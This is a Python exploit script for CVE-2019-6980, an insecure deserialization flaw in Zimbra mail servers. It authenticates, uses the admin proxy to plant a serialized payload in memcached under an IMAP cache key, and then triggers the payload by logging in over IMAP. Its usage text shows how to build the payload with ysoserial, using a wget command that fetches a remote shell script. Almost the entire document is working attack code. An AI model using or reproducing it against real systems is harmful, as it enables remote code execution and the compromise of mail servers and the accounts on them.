#coding=utf8
#python2.7
import sys
import requests
import re
import os
import warnings
warnings.filterwarnings("ignore")
import imaplib

def auth_request_low(uri,username,password):
    request_body="""<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
       <soap:Header>
           <context xmlns="urn:zimbra">              
           </context>
       </soap:Header>
       <soap:Body>
         <AuthRequest xmlns="urn:zimbraAccount">
            <account by="adminName">{username}</account>
            <password>{password}</password>
         </AuthRequest>
       </soap:Body>
    </soap:Envelope>
    """
    try:
        r=requests.post(uri+"/service/soap",data=request_body.format(username=username,password=password),verify=False,timeout=15)
        if 'authentication failed' in r.text:
          print("[-] Authentication failed for %s"%(username))
          exit(0)
        elif 'authToken' in r.text:
          pattern_auth_token=re.compile(r"<authToken>(.*?)</authToken>")
          token = pattern_auth_token.findall(r.text)[0]
          print("[+] Authentication success for %s"%(username))
          print("[*] authToken_low:%s"%(token))
          return token
        else:
          print("[!]")
          print(r.text)
    except Exception as e:
        print("[!] Error:%s"%(e))
        exit(0)

def getaccountinfo_request(uri,token,email):
    request_body="""<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
       <soap:Header>
           <context xmlns="urn:zimbra">
               <authToken>{token}</authToken>
           </context>
       </soap:Header>
       <soap:Body>
         <GetAccountInfoRequest xmlns="urn:zimbraAccount">
            <account by="name">{email}</account>
         </GetAccountInfoRequest>
       </soap:Body>
    </soap:Envelope>
    """  
    try:
        print("[*] Try to get the account info")
        r=requests.post(uri+"/service/soap",data=request_body.format(token=token,email=email),verify=False,timeout=15)       
        pattern_data = re.compile(r"zimbraId\">(.*?)</attr")        
        zimbraId = pattern_data.findall(r.text)[0]
        print("    zimbraId:"+zimbraId)
        return zimbraId
    except Exception as e:
        print("[!] Error:%s"%(e))
        exit(0)


def send_payload(uri,token,accountid,folderNo,modseq,uidvalidity,path):
    cacheKey ="zmImap:{accountId}:{folderNo}:{modseq}:{uidvalidity}".format(accountId=accountid,folderNo=str(folderNo),modseq=str(modseq),uidvalidity=str(uidvalidity))
    with open(path,"rb") as f:
        payload = f.read()
    set_command = b"set {cacheKey} 2048 3600 {payloadsize}\r\n".format(cacheKey=cacheKey,payloadsize=str(len(payload)))+payload+"\r\n"
    headers = {
    "Cookie":"ZM_ADMIN_AUTH_TOKEN="+token+";",
    "host":"foo:7071"
    }
    print("[*] Waiting...")
    r = requests.post("https://192.168.100.169/service/proxy?target=http://127.0.0.1:11211",data=set_command,headers=headers,verify=False)  
    if r.status_code ==500:
        print("    OK")
    else:
        print(r.text)    	

def imap_ssl_trigger_payload(uri,username,password):
    index = uri.find('/')
    imap_server = uri[index+2:]
    M = imaplib.IMAP4_SSL(imap_server,"993")
    try:
        M.login(username,password)
        dataInfo = M.status('INBOX','(UIDVALIDITY)')
        print("    " + dataInfo[1][0])
    except Exception as e:
        print("[!] Error:%s"%(e))
        print("[!] Maybe you should change the port of imap_ssl")
        return False
    else:               
        data = M.select('INBOX',False)       
        print("    " + data[0]) 
        M.logout()  

if __name__ == '__main__':
    if len(sys.argv)!=5:
        print('[!]Wrong parameter')
        print('CVE-2019-6980')
        print('Zimbra')       
        print('Insecure object deserialization - IMAP')       
        print('Usage:')
        print('  %s <url> <user> <password> <payload path>'%(sys.argv[0]))
        print('Eg.')
        print('  %s https://192.168.1.1 user1@test.com password1 payload.obj'%(sys.argv[0]))
        print('Note:')
        print('  You can generate payload.obj like this:')
        print('  java -jar ysoserial.jar MozillaRhino2 "/usr/bin/wget https://192.168.1.1/test.sh --no-check-certificate -O /tmp/test.sh" > payload.obj')
        sys.exit(0)
    else:
        try:
            if not os.path.exists(sys.argv[4]):
                print("[!] There is no %s"%(sys.argv[4]))
                exit(0)

            print("[*] Try to locate the ysoserial.jar")
            if not os.path.exists("ysoserial.jar"):
                print("[!] There is no ysoserial.jar")
                exit(0)
            print("    ok")
            print("[*] Try to auth for low token")    
            uri = sys.argv[1]
            username = sys.argv[2]
            password = sys.argv[3]           
            low_token = auth_request_low(uri,username,password)
            zimbraId = getaccountinfo_request(uri,low_token,username)

            print("[*] Try to send the payload")
            print("[*] Use the following setting:")
            print("    folderNo=2       it means Inbox")
            print("    modseq = 1       when you use a new user, the default value is 1")
            print("    uidvalidity = 1  when you use a new user, the default value is 1")       
            folderNo= 2
            modseq = 1
            uidvalidity = 1
            send_payload(uri,low_token,zimbraId,folderNo,modseq,uidvalidity,sys.argv[4])
            print("    ok")
            print("[*] Try to trigger the payload")
            imap_ssl_trigger_payload(uri,username,password)
            print("All done.")

        except Exception as e:
            print("[!] Error:%s"%(e))
            exit(0)


